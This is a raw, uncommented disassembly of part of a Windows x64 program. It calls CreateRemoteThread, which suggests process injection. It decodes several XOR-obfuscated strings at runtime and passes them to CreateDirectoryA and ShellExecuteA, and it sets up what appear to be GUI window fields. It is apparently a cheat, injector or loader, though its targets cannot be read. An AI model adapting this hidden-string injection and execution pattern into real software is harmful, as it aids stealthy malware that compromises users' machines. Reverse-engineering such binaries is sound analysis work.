call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x140003e0e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movdqa xmm6, xmmword [0x140060ec0]
movdqa xmm7, xmmword [0x140060ea0]
mov dword [rbp + 0xa0], 0x7e213d83
mov dword [rbp + 0xa4], 0xead5d08f
mov dword [rbp + 0xa8], 0x772c27cd
mov eax, dword [r12 + r14]
cmp dword [0x14016556c], eax
jle 0x140003eb1
lea rcx, [0x14016556c]
call fcn.1400511ac
cmp dword [0x14016556c], 0xffffffff
jne 0x140003eb1
mov word [0x140165484], 0x1af
movups xmmword [0x140165458], xmm6
movups xmmword [0x140165468], xmm7
movsd xmm0, qword [rbp + 0xa0]
movsd qword [0x140165478], xmm0
mov eax, dword [rbp + 0xa8]
mov dword [0x140165480], eax
lea rcx, [0x140052d70]
call fcn.140051488
lea rcx, [0x14016556c]
call fcn.140051140
lea rdx, [rbp - 0x40]
lea rcx, [0x140165458]
call fcn.1400050a0
nop
mov rdx, qword [0x140165340]
cmp rdx, qword [0x140165348]
je 0x140003f07
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r13
mov qword [rdx + 0x18], r13
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
add qword [0x140165340], 0x20
jmp 0x140003f10
mov r8, rax
call fcn.140007130
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140003f4e
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003f49
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003f49
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400514a8
movdqa xmm6, xmmword [0x140060d90]
mov dword [rbp - 0x30], 0xe3c2e290
mov dword [rbp - 0x2c], 0x2143e6e
mov eax, dword [r12 + r14]
cmp dword [0x1401654f4], eax
jle 0x140003fba
lea rcx, [0x1401654f4]
call fcn.1400511ac
cmp dword [0x1401654f4], 0xffffffff
jne 0x140003fba
mov word [0x140165528], 0x1e7
movups xmmword [0x140165510], xmm6
movsd xmm0, qword [rbp - 0x30]
movsd qword [0x140165520], xmm0
lea rcx, [0x140052d30]
call fcn.140051488
lea rcx, [0x1401654f4]
call fcn.140051140
cmp byte [0x140165529], 0
je 0x14000407d
xor byte [0x140165510], 0xe7
xor byte [0x140165511], 0x9b
xor byte [0x140165512], 0x9d
xor byte [0x140165513], 0x8b
xor byte [0x140165514], 0xf
xor byte [0x140165515], 0x5d
xor byte [0x140165516], 0x7f
xor byte [0x140165517], 0x71
xor byte [0x140165518], 0xe7
xor byte [0x140165519], 0x9b
xor byte [0x14016551a], 0x9d
xor byte [0x14016551b], 0x8b
xor byte [0x14016551c], 0xf
xor byte [0x14016551d], 0x5d
xor byte [0x14016551e], 0x7f
xor byte [0x14016551f], 0x71
xor byte [0x140165520], 0xe7
xor byte [0x140165521], 0x9b
xor byte [0x140165522], 0x9d
xor byte [0x140165523], 0x8b
xor byte [0x140165524], 0xf
xor byte [0x140165525], 0x5d
xor byte [0x140165526], 0x7f
xor byte [0x140165527], 0x71
xor byte [0x140165528], 0xe7
mov byte [0x140165529], 0
mov eax, dword [r12 + r14]
cmp dword [0x1401655cc], eax
jle 0x1400040c9
lea rcx, [0x1401655cc]
call fcn.1400511ac
cmp dword [0x1401655cc], 0xffffffff
jne 0x1400040c9
mov dword [0x1401655a6], 0x10fe5f8
mov word [0x1401655a4], 0xeb88
lea rcx, [0x140052d50]
call fcn.140051488
lea rcx, [0x1401655cc]
call fcn.140051140
cmp byte [0x1401655a9], 0
je 0x1400040fc
xor byte [0x1401655a4], 0xe7
xor byte [0x1401655a5], 0x9b
xor byte [0x1401655a6], 0x9d
xor byte [0x1401655a7], 0x8b
xor byte [0x1401655a8], 0xf
mov byte [0x1401655a9], 0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [0x140165510]
lea rdx, [0x1401655a4]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x140003c62
call fcn.1400514a8
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x14000417b
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004175
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004175
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400514a8
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x1400041ba
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400041b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400041b4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400514a8
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x1400041f9
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400041f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400041f3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400514a8
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x140004237
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004232
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004232
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400514a8
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 7
jbe 0x140004290
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000428b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000428b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400514a8
mov dword [rbp - 0x40], 0x42c80000
mov dword [rbp - 0x3c], 0x41f00000
mov rax, qword gs:[0x58]
mov rbx, qword [rax]
mov eax, dword [r12 + rbx]
cmp dword [0x1401653fc], eax
jle 0x140004311
lea rcx, [0x1401653fc]
call fcn.1400511ac
cmp dword [0x1401653fc], 0xffffffff
jne 0x140004311
mov word [0x140165455], 0x16b
mov dword [0x140165448], 0xe9d1f848
mov dword [0x14016544c], 0x55b30cd2
mov dword [0x140165450], 0xeadbfb44
mov byte [0x140165454], 0xc9
lea rcx, [0x140052cd0]
call fcn.140051488
lea rcx, [0x1401653fc]
call fcn.140051140
cmp byte [0x140165456], 0
je 0x140004383
xor byte [0x140165448], 0x2b
xor byte [0x140165449], 0x97
xor byte [0x14016544a], 0xbf
xor byte [0x14016544b], 0x8f
xor byte [0x14016544c], 0xbb
xor byte [0x14016544d], 0x6b
xor byte [0x14016544e], 0x93
xor byte [0x14016544f], 0x33
xor byte [0x140165450], 0x2b
xor byte [0x140165451], 0x97
xor byte [0x140165452], 0xbf
xor byte [0x140165453], 0x8f
xor byte [0x140165454], 0xbb
xor byte [0x140165455], 0x6b
mov byte [0x140165456], 0
lea rdx, [rbp - 0x40]
lea rcx, [0x140165448]
call fcn.1400492c0
test al, al
je 0x1400046eb
mov eax, dword [r12 + rbx]
cmp dword [0x1401655ec], eax
jle 0x1400043f8
lea rcx, [0x1401655ec]
call fcn.1400511ac
cmp dword [0x1401655ec], 0xffffffff
jne 0x1400043f8
mov word [0x140165589], 0x14b
mov dword [0x140165580], 0x419f718e
mov dword [0x140165584], 0x62c41ed5
mov byte [0x140165588], 0x91
lea rcx, [0x140052cb0]
call fcn.140051488
lea rcx, [0x1401655ec]
call fcn.140051140
cmp byte [0x14016558a], 0
je 0x14000444e
xor byte [0x140165580], 0xcd
xor byte [0x140165581], 0x4b
xor byte [0x140165582], 0xc3
xor byte [0x140165583], 7
xor byte [0x140165584], 0xb9
xor byte [0x140165585], 0x71
xor byte [0x140165586], 0xb3
xor byte [0x140165587], 0x1b
xor byte [0x140165588], 0xcd
xor byte [0x140165589], 0x4b
mov byte [0x14016558a], 0
xor edx, edx
lea rcx, [0x140165580]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
movdqa xmm6, xmmword [0x140060e80]
mov eax, dword [r12 + rbx]
cmp dword [0x1401654b4], eax
jle 0x1400044ae
lea rcx, [0x1401654b4]
call fcn.1400511ac
cmp dword [0x1401654b4], 0xffffffff
jne 0x1400044ae
mov word [0x1401654f0], 0x105
movups xmmword [0x1401654e0], xmm6
lea rcx, [0x140052c90]
call fcn.140051488
lea rcx, [0x1401654b4]
call fcn.140051140
cmp byte [0x1401654f1], 0
je 0x140004539
xor byte [0x1401654e0], 5
xor byte [0x1401654e1], 0xe3
xor byte [0x1401654e2], 0xbb
xor byte [0x1401654e3], 0xaf
xor byte [0x1401654e4], 0x8f
xor byte [0x1401654e5], 0xe7
xor byte [0x1401654e6], 0xc1
xor byte [0x1401654e7], 0xed
xor byte [0x1401654e8], 5
xor byte [0x1401654e9], 0xe3
xor byte [0x1401654ea], 0xbb
xor byte [0x1401654eb], 0xaf
xor byte [0x1401654ec], 0x8f
xor byte [0x1401654ed], 0xe7
xor byte [0x1401654ee], 0xc1
xor byte [0x1401654ef], 0xed
xor byte [0x1401654f0], 5
mov byte [0x1401654f1], 0
xor edx, edx
lea rcx, [0x1401654e0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
movdqa xmm6, xmmword [0x140060e30]
mov eax, dword [r12 + rbx]
cmp dword [0x140165504], eax
jle 0x140004599
lea rcx, [0x140165504]
call fcn.1400511ac
cmp dword [0x140165504], 0xffffffff
jne 0x140004599
mov word [0x140165498], 0x137
movups xmmword [0x140165488], xmm6
lea rcx, [0x140052c60]
call fcn.140051488
lea rcx, [0x140165504]
call fcn.140051140
cmp byte [0x140165499], 0
je 0x140004622
xor byte [0x140165488], 0x37
xor byte [0x140165489], 0x71
xor byte [0x14016548a], 0xdb
not byte [0x14016548b]
xor byte [0x14016548c], 0x29
xor byte [0x14016548d], 0xdf
xor byte [0x14016548e], 0x53
xor byte [0x14016548f], 0xd
xor byte [0x140165490], 0x37
xor byte [0x140165491], 0x71
xor byte [0x140165492], 0xdb
not byte [0x140165493]
xor byte [0x140165494], 0x29
xor byte [0x140165495], 0xdf
xor byte [0x140165496], 0x53
xor byte [0x140165497], 0xd
xor byte [0x140165498], 0x37
mov byte [0x140165499], 0
mov eax, dword [r12 + rbx]
cmp dword [0x14016557c], eax
jle 0x14000467e
lea rcx, [0x14016557c]
call fcn.1400511ac
cmp dword [0x14016557c], 0xffffffff
jne 0x14000467e
mov word [0x14016540f], 0x10d
mov dword [0x140165408], 0x93ab0952
mov word [0x14016540c], 0xad46
mov byte [0x14016540e], 0x36
lea rcx, [0x140052c80]
call fcn.140051488
lea rcx, [0x14016557c]
call fcn.140051140
cmp byte [0x140165410], 0
je 0x1400046c5
xor byte [0x140165408], 0x37
xor byte [0x140165409], 0x71
xor byte [0x14016540a], 0xdb
not byte [0x14016540b]
xor byte [0x14016540c], 0x29
xor byte [0x14016540d], 0xdf
xor byte [0x14016540e], 0x53
xor byte [0x14016540f], 0xd
mov byte [0x140165410], 0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [0x140165488]
lea rdx, [0x140165408]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rbp - 0x40], 0x42c80000
mov dword [rbp - 0x3c], 0x41f00000
mov eax, dword [r12 + rbx]
cmp dword [0x1401654f8], eax
jle 0x140004745
lea rcx, [0x1401654f8]
call fcn.1400511ac
cmp dword [0x1401654f8], 0xffffffff
jne 0x140004745
mov dword [0x1401653f6], 0x18b972c
mov word [0x1401653f4], 0xb39c
lea rcx, [0x140052c40]
call fcn.140051488
lea rcx, [0x1401654f8]
call fcn.140051140
cmp byte [0x1401653f9], 0
je 0x140004778
xor byte [0x1401653f4], 0xf9
xor byte [0x1401653f5], 0xcb
xor byte [0x1401653f6], 0x45
xor byte [0x1401653f7], 0xe3
xor byte [0x1401653f8], 0x8b
mov byte [0x1401653f9], 0
lea rdx, [rbp - 0x40]
lea rcx, [0x1401653f4]
call fcn.1400492c0
test al, al
je 0x140004795
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.14001a190
call fcn.140012120
mov rcx, qword [0x1401652d0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
addss xmm0, xmm8
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm2, dword [0x140060c7c]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov dword [rbp - 0x40], 0x43ff0000
mov dword [rbp - 0x3c], 0x43160000
mov eax, dword [r12 + rbx]
cmp dword [0x1401654fc], eax
jle 0x140004874
lea rcx, [0x1401654fc]
call fcn.1400511ac
cmp dword [0x1401654fc], 0xffffffff
jne 0x140004874
mov dword [0x140165552], 0x129362a
mov word [0x140165550], 0xec3d
lea rcx, [0x140052c20]
call fcn.140051488
lea rcx, [0x1401654fc]
call fcn.140051140
cmp byte [0x140165555], 0
je 0x1400048a7
xor byte [0x140165550], 0x51
xor byte [0x140165551], 0x83
xor byte [0x140165552], 0x4d
xor byte [0x140165553], 0x45
xor byte [0x140165554], 0x29
mov byte [0x140165555], 0
lea rdx, [rbp - 0x40]
lea rcx, [0x140165550]
call fcn.140012060
mov rdi, qword [0x140165340]
mov rbx, qword [0x140165338]
cmp rbx, rdi
je 0x1400048eb
nop word [rax + rax]
mov rcx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1400048dd
mov rcx, qword [rbx]
call fcn.1400489a0
add rbx, 0x20
cmp rbx, rdi
jne 0x1400048d0
call fcn.140012120
call fcn.140018280
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.140051120
lea r11, [rsp + 0x340]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret